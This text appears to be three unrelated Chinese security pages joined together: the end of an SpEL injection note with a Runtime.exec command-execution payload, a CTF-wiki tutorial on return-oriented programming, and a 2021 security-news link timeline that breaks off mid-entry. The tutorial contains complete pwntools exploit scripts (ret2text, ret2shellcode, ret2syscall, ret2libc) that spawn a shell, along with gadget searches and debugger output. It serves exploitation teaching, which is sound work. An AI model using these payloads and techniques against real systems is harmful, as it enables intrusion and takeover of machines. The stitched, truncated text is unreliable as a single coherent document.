``` 直接将用户的输入当作表达式内容进行解析。 以示例2为例,是 Hello-Java-Sec 中的示例代码 输入一个简单的乘法运算 9*9,可以看到返回的值是经过解析后的 81 执行下系统命令 ``` /vul?ex=T(java.lang.Runtime).getRuntime().exec("open -a Calculator") ``` > T(Type): 使用“T(Type)”来表示java.lang.Class实例,同样,只有 java.lang 下的类才可以省略包名 --- ## 这个漏洞类型的案例 - [CVE-2018-1260 spring-security-oauth2 RCE Analysis](https://github.com/Cryin/Paper/blob/master/CVE-2018-1260%20spring-security-oauth2%20RCE%20Analysis.md) - [CVE-2021-45029 Apache ShenYu Groovy&SpEL表达式注入漏洞分析与复现](https://mp.weixin.qq.com/s/SdNLthm5Ll3SnRhO0dGGgA) --- ## 修复方案 * 解析 el 表达式时,参数不要由外部用户输入
sec-knowleage
# 基本 ROP 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。 之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件 - 程序存在溢出,并且可以控制返回地址。 - 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。 ## ret2text ### 原理 ret2text 即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。 这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。 ### 例子 其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。 点击下载: [ret2text](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text) 首先,查看一下程序的保护机制 ```shell ➜ ret2text checksec ret2text Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets((char *)&v4); printf("Maybe I will tell you next time !"); return 0; } ``` 可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。此后又发现 ```asm .text:080485FD secure proc near .text:080485FD .text:080485FD input = dword ptr -10h .text:080485FD secretcode = dword ptr -0Ch .text:080485FD .text:080485FD push ebp .text:080485FE mov ebp, esp .text:08048600 sub esp, 28h .text:08048603 mov dword ptr [esp], 0 ; timer .text:0804860A call _time .text:0804860F mov [esp], eax ; seed .text:08048612 call _srand .text:08048617 call _rand .text:0804861C mov [ebp+secretcode], eax .text:0804861F lea eax, [ebp+input] .text:08048622 mov [esp+4], eax .text:08048626 mov dword ptr [esp], offset unk_8048760 .text:0804862D call ___isoc99_scanf .text:08048632 mov eax, [ebp+input] .text:08048635 cmp eax, [ebp+secretcode] .text:08048638 jnz short locret_8048646 .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:08048641 call _system ``` 在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。 下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。 ```asm .text:080486A7 lea eax, [esp+1Ch] .text:080486AB mov [esp], eax ; s .text:080486AE call _gets ``` 可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下 ```shell gef➤ b *0x080486AE Breakpoint 1 at 0x80486ae: file ret2text.c, line 24. gef➤ r There is something amazing here, do you know anything? Breakpoint 1, 0x080486ae in main () at ret2text.c:24 24 gets(buf); ───────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffffcd5c → 0x08048329 → "__libc_start_main" $ebx : 0x00000000 $ecx : 0xffffffff $edx : 0xf7faf870 → 0x00000000 $esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main" $ebp : 0xffffcdc8 → 0x00000000 $esi : 0xf7fae000 → 0x001b1db0 $edi : 0xf7fae000 → 0x001b1db0 $eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt> ``` 可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 `esp+0x1c`,因此,我们可以推断 - s 的地址为 0xffffcd5c - s 相对于 ebp 的偏移为 0x6c - s 相对于返回地址的偏移为 0x6c+4 最后的 payload 如下: ```python ##!/usr/bin/env python from pwn import * sh = process('./ret2text') target = 0x804863a sh.sendline('A' * (0x6c+4) + p32(target)) sh.interactive() ``` ## ret2shellcode ### 原理 ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。**一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码**。 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。 ### 例子 这里我们以 bamboofox 中的 ret2shellcode 为例 点击下载: [ret2shellcode](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode) 首先检测程序开启的保护 ```shell ➜ ret2shellcode checksec ret2shellcode Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` 可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。我们再使用 IDA 看一下程序 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets((char *)&v4); strncpy(buf2, (const char *)&v4, 0x64u); printf("bye bye ~"); return 0; } ``` 可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。 ```asm .bss:0804A080 public buf2 .bss:0804A080 ; char buf2[100] ``` 这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。 ```shell gef➤ b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. gef➤ r Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode Breakpoint 1, main () at ret2shellcode.c:8 8 setvbuf(stdout, 0LL, 2, 0LL); ─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]──── 6 int main(void) 7 { → 8 setvbuf(stdout, 0LL, 2, 0LL); 9 setvbuf(stdin, 0LL, 1, 0LL); 10 ─────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x8048536 → Name: main() ───────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ vmmap Start End Offset Perm Path 0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so 0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so 0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so 0xf7faf000 0xf7fb2000 0x00000000 rwx 0xf7fd3000 0xf7fd5000 0x00000000 rwx 0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar] 0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso] 0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffb000 0xf7ffc000 0x00000000 rwx 0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so 0xfffdd000 0xffffe000 0x00000000 rwx [stack] ``` 通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限 ```text 0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode ``` 那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。 具体的 payload 如下 ```python #!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) sh.interactive() ``` ### 题目 - sniperoj-pwn100-shellcode-x86-64 ## ret2syscall ### 原理 ret2syscall,即控制程序执行系统调用,获取 shell。 ### 例子 这里我们以 bamboofox 中的 ret2syscall 为例 点击下载: [ret2syscall](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop) 首先检测程序开启的保护 ```shell ➜ ret2syscall checksec rop Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; } ``` 可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。关于系统调用的知识,请参考 - https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8 简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell ```C execve("/bin/sh",NULL,NULL) ``` 其中,该程序是 32 位,所以我们需要使得 - 系统调用号,即 eax 应该为 0xb - 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。 - 第二个参数,即 ecx 应该为 0 - 第三个参数,即 edx 应该为 0 而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets的方法,我们可以使用 ropgadgets 这个工具。 首先,我们来寻找控制 eax 的gadgets ```shell ➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax' 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret ``` 可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。 类似的,我们可以得到控制其它寄存器的 gadgets ```shell ➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret ``` 这里,我选择 ```text 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret ``` 这个可以直接控制其它三个寄存器。 此外,我们需要获得 /bin/sh 字符串对应的地址。 ```shell ➜ ret2syscall ROPgadget --binary rop --string '/bin/sh' Strings information ============================================================ 0x080be408 : /bin/sh ``` 可以找到对应的地址,此外,还有 int 0x80 的地址,如下 ```text ➜ ret2syscall ROPgadget --binary rop --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80 0x080938fe : int 0xbb 0x080869b5 : int 0xf6 0x0807b4d4 : int 0xfc Unique gadgets found: 4 ``` 同时,也找到对应的地址了。 下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。 ```python #!/usr/bin/env python from pwn import * sh = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) sh.sendline(payload) sh.interactive() ``` ### 题目 ## ret2libc ### 原理 ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。 ### 例子 我们由简单到难分别给出三个例子。 #### 例1 这里我们以 bamboofox 中 ret2libc1 为例 点击下载: [ret2libc1](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1) 首先,我们可以检查一下程序的安全保护 ```shell ➜ ret2libc1 checksec ret2libc1 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 源程序为 32 位,开启了 NX 保护。下面来看一下程序源代码,确定漏洞位置 ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets((char *)&v4); return 0; } ``` 可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在 ```shell ➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh' Strings information ============================================================ 0x08048720 : /bin/sh ``` 确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。 ```asm .plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND] ``` 那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下 ```python #!/usr/bin/env python from pwn import * sh = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr]) sh.sendline(payload) sh.interactive() ``` 这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 'bbbb' 作为虚假的地址,其后参数对应的参数内容。 这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。 #### 例2 这里以 bamboofox 中的 ret2libc2 为例 点击下载: [ret2libc2](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2) 该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。由于漏洞与上述一致,这里就不在多说,具体的 exp 如下 ```python ##!/usr/bin/env python from pwn import * sh = process('./ret2libc2') gets_plt = 0x08048460 system_plt = 0x08048490 pop_ebx = 0x0804843d buf2 = 0x804a080 payload = flat( ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2]) sh.sendline(payload) sh.sendline('/bin/sh') sh.interactive() ``` 需要注意的是,我这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。 #### 例3 这里以 bamboofox 中的 ret2libc3 为例 点击下载: [ret2libc3](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3) 在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护 ```shell ➜ ret2libc3 checksec ret2libc3 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No surprise anymore, system disappeard QQ."); printf("Can you find it !?"); gets((char *)&v4); return 0; } ``` 那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点 - system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。 - 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在github上有人进行收集,如下 - https://github.com/niklasb/libc-database 所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。 那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。**当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。** 我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme - https://github.com/lieanu/LibcSearcher 此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。 这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下 - 泄露 __libc_start_main 地址 - 获取 libc 版本 - 获取 system 地址与 /bin/sh 的地址 - 再次执行源程序 - 触发栈溢出执行 system(‘/bin/sh’) exp 如下 ```python #!/usr/bin/env python from pwn import * from LibcSearcher import LibcSearcher sh = process('./ret2libc3') ret2libc3 = ELF('./ret2libc3') puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] main = ret2libc3.symbols['main'] print "leak libc_start_main_got addr and return to main again" payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) sh.sendlineafter('Can you find it !?', payload) print "get the related addr" libc_start_main_addr = u32(sh.recv()[0:4]) libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') print "get shell" payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload) sh.interactive() ``` ### 题目 - train.cs.nctu.edu.tw: ret2libc ## 题目 - train.cs.nctu.edu.tw: rop - 2013-PlaidCTF-ropasaurusrex - Defcon 2015 Qualifier: R0pbaby ## 参考阅读 - [乌云一步一步ROP篇(蒸米)](http://wooyun.jozxing.cc/static/drops/tips-6597.html) - [手把手教你栈溢出从入门到放弃(上)](https://zhuanlan.zhihu.com/p/25816426) - [手把手教你栈溢出从入门到放弃(下)](https://zhuanlan.zhihu.com/p/25892385) - [ 【技术分享】现代栈溢出利用技术基础:ROP](http://bobao.360.cn/learning/detail/3694.html)
sec-knowleage
#2021移动安全事记 时间线 - 0x00 - 1.3 [【格物实验室】私有5G网络的威胁分析](http://blog.nsfocus.net/private-5g-network-0102/) - 1.4 [DNSMon:用DNS数据进行威胁发现(2)](https://www.anquanke.com/post/id/227326) - 1.4 [硬件安全入门(上)](https://www.secpulse.com/archives/150573.html) - 1.4 [VelVet病毒分析报告—针对韩国用户的IOS应用](https://www.anquanke.com/post/id/227123) - 1.4 [全球超过十万个Zyxel设备被曝存在后门](https://www.freebuf.com/news/259672.html) - 1.4 [T-Mobile 证实黑客非法访问了用户电话记录](http://hackernews.cc/archives/34523) - 1.4 [“灵猫”组织针对中东地区的攻击活动分析报告](https://www.secpulse.com/archives/150644.html) - 1.4 [基于Python的邮件快速检测工具](https://www.freebuf.com/sectool/259710.html) - 1.5 [分析思路分享-银行木马Gozi第二阶段loader样本分析](https://www.anquanke.com/post/id/226895) - 1.5 [byp4xx:一款403bypass神器](https://www.freebuf.com/sectool/259663.html) - 1.5 [腾讯主机安全截获 TOPMiner 挖矿木马,受害服务器约 1.5 万台,作者称“ 12 小时扫描全球”](http://hackernews.cc/archives/34535) - 1.6 [Fake Trump sex video used to spread QNode RAT](https://securityaffairs.co/wordpress/113088/cyber-crime/qnode-rat-attack.html?utm_source=feedly&utm_medium=rss&utm_campaign=qnode-rat-attack) - 1.6 [This new phishing attack uses an odd lure to deliver Windows trojan malware](https://www.zdnet.com/article/this-new-phishing-attack-uses-an-odd-lure-to-deliver-windows-trojan-malware/#ftag=RSSbaffb68) - 1.6 [攻击推理专题-属性图异常检测及在网络安全领域的应用](http://blog.nsfocus.net/attribute-graph-anomaly-detection-and-its-application-in-network-security/) - 1.6 [月光鼠组织(Molerats )新近移动端攻击活动跟踪披露](https://www.anquanke.com/post/id/227599) - 1.6 [网络赌博支付洗钱产业链分析报告](https://www.anquanke.com/post/id/227598) - 1.7 [SUNBURST Additional Technical Details](http://www.fireeye.de/blog/threat-research/2020/12/sunburst-additional-technical-details.html) - 1.7 [ElectroRAT Malware Targets Cryptocurrency Wallets](https://www.databreachtoday.com/electrorat-malware-targets-cryptocurrency-wallets-a-15716) - 1.7 [2020年勒索病毒年度报告](https://www.freebuf.com/articles/paper/260220.html) - 1.7 [基于fiddler插件的代理扫描系统:越权漏洞检测](https://www.freebuf.com/articles/web/256948.html) - 1.7 [隐秘的角落 -- JDK CORBA 安全性研究(下)](https://paper.seebug.org/1446/) - 1.7 [【高级持续性威胁追踪】来自Mustang Panda的攻击? 我兔又背锅了!](https://www.secpulse.com/archives/151038.html) - 1.8 [Should you worry about hackers cloning your 2FA hardware security keys?](https://www.zdnet.com/article/should-you-worry-about-hackers-cloning-your-2fa-hardware-security-keys/#ftag=RSSbaffb68) - 1.8 [2020年勒索病毒年度报告](https://www.secpulse.com/archives/151074.html) - 1.8 [Babuk Locker:2021年第一个新型企业级勒索软件正式上线!](https://www.anquanke.com/post/id/227815) - 1.8 [伪装者活动:针对Telegram特定用户的攻击](https://www.freebuf.com/articles/system/260237.html) - 1.8 [各类灰黑产钓鱼邮件概括分析](https://www.anquanke.com/post/id/227434) - 1.8 [Agent Tesla窃密软件分析](https://www.anquanke.com/post/id/227736) - 1.11 [拯救圣诞世界](https://www.freebuf.com/articles/web/260407.html) - 1.11 [基于套接字的模糊测试技术,第2部分:FreeRDP](https://www.anquanke.com/post/id/227593) - 1.11 [某游戏外挂团队针对大量企业员工发起网络攻击活动](https://www.freebuf.com/news/260405.html) - 1.11 [CDN 2021 完全攻击指南 (一)](https://www.anquanke.com/post/id/227818) - 1.11 [k0otkit:Hack K8s in a K8s Way](http://blog.nsfocus.net/k0otkithack-k8s-in-a-k8s-way/) - 1.11 [使用ATT&CK框架对威胁狩猎的成熟度进行评估](https://www.freebuf.com/articles/database/260474.html) - 1.11 [土耳其黑客组织“图兰军”近期攻击活动分析报告](https://paper.seebug.org/1447/) - 1.12 [Sophisticated hacking campaign uses Windows and Android zero-days](https://securityaffairs.co/wordpress/113342/hacking/project-zero-watering-hole-attack.html?utm_source=feedly&utm_medium=rss&utm_campaign=project-zero-watering-hole-attack) - 1.12 [Pakistani Android users hit by spyware campaign with malicious apps](https://www.hackread.com/pakistan-android-users-spyware-campaign-malicious-apps/) - 1.12 [Warning — 5 New Trojanized Android Apps Spying On Users In Pakistan](http://feedproxy.google.com/~r/TheHackersNews/~3/ByMB4xwGWxg/warning-5-new-trojanized-android-apps.html) - 1.13 [Rogue Android RAT emerges from the darkweb](https://securityaffairs.co/wordpress/113369/malware/rogue-android-rat-darkweb.html?utm_source=feedly&utm_medium=rss&utm_campaign=rogue-android-rat-darkweb) - 1.13 [与狼共舞:2020年网络安全产业核心洞察报告](https://www.anquanke.com/post/id/228327) - 1.13 [永安在线 · 证券行业数据资产泄漏分析报告](https://www.freebuf.com/articles/paper/260674.html) - 1.13 [缝合怪打缝合靶场~](https://www.freebuf.com/articles/web/260602.html) - 1.14 [Scam-as-a-Service operation made more than $6.5 million in 2020](https://www.zdnet.com/article/scam-as-a-service-operation-made-more-than-6-5-million-in-2020/#ftag=RSSbaffb68) - 1.14 [全国2020年移动应用安全观测报告](https://www.anquanke.com/post/id/228457) - 1.14 [智能合约之薅羊毛漏洞](https://www.anquanke.com/post/id/228613) - 1.14 [Linux流程分析——从开机那一刻开始](https://www.anquanke.com/post/id/227940) - 1.14 [incaseformat蠕虫病毒突发事件分析(附应急处理办法)](https://www.freebuf.com/news/260781.html) - 1.14 [Frida的Stalker功能介绍](https://www.freebuf.com/articles/mobile/260802.html) - 1.15 [Apple Kills MacOS Feature Allowing Apps to Bypass Firewalls](https://threatpost.com/apple-kills-macos-feature-allowing-apps-to-bypass-firewalls/163099/) - 1.15 [木马围城:比特币爆涨刺激挖矿木马一拥而上围猎肉鸡资源](http://hackernews.cc/archives/34659) - 1.15 [谷歌发布安全报告:详细介绍去年年初检测到的复杂黑客攻击](http://hackernews.cc/archives/34655) - 1.15 [远控免杀篇](https://www.freebuf.com/articles/system/260965.html) - 1.16 [Iranian APT Group Revived Phishing Activities Over Holidays](https://www.databreachtoday.com/iranian-apt-group-revived-phishing-activities-over-holidays-a-15774) - 1.16 [公安部网安局公布十大网络黑产案例](https://www.freebuf.com/articles/network/261029.html) - 1.17 [QQ 被发现扫描并上传用户的浏览器历史](https://www.solidot.org/story?sid=66679) - 1.18 [风险提示:小心支付宝“备用金”诈骗!](https://www.anquanke.com/post/id/228894) - 1.19 [蓝牙的安全与威胁(下)](https://www.freebuf.com/articles/neopoints/261295.html) - 1.19 [基于抽象语法树和深度学习的高效漏洞检测方法](https://www.anquanke.com/post/id/221892) - 1.20 [安卓应用层协议/框架通杀抓包:实战篇](https://www.anquanke.com/post/id/228709) - 1.20 ['LuckyBoy' Malvertising Campaign Hits iOS, Android, XBox Users](http://feedproxy.google.com/~r/Securityweek/~3/L5PoD_P_lXc/luckyboy-malvertising-campaign-hits-ios-android-xbox-users) - 1.20 [随机子域名攻击防护建议](http://blog.nsfocus.net/protection-suggestions-of-random-subdomain-attack/) - 1.20 ['FreakOut' Botnet Targets Unpatched Linux Systems](https://www.databreachtoday.com/freakout-botnet-targets-unpatched-linux-systems-a-15814) - 1.21 [AssetInfoColl:打造一把资产信息收集的利剑](https://www.freebuf.com/sectool/261435.html) - 1.21 [Windows域关系学习 全攻略](https://www.freebuf.com/articles/system/261346.html) - 1.22 [Sysrv-hello 僵尸网络集木马、后门、蠕虫于一身,攻击 Linux、Windows 主机挖矿](http://hackernews.cc/archives/34713) - 1.22 [聊一聊互联网企业安全运营](https://www.freebuf.com/articles/es/261677.html) - 1.22 [Fuzzing 战争系列之二:不畏浮云遮望眼](https://paper.seebug.org/1465/) - 1.22 [专业碰瓷“王”团伙作案?揭露“恶意索赔”黑灰产](https://www.anquanke.com/post/id/229440) - 1.22 [攻击者可利用DNSpooq漏洞劫持DNS,数百万设备受到影响](https://www.freebuf.com/vuls/261411.html) - 1.25 [实战病毒木马之二——WannaMine3.0病毒事件处理报告](https://www.freebuf.com/articles/system/261884.html) - 1.25 [Amazon Kindle电子书阅读器存在安全漏洞,攻击者可接管设备](https://www.freebuf.com/vuls/261717.html) - 1.25 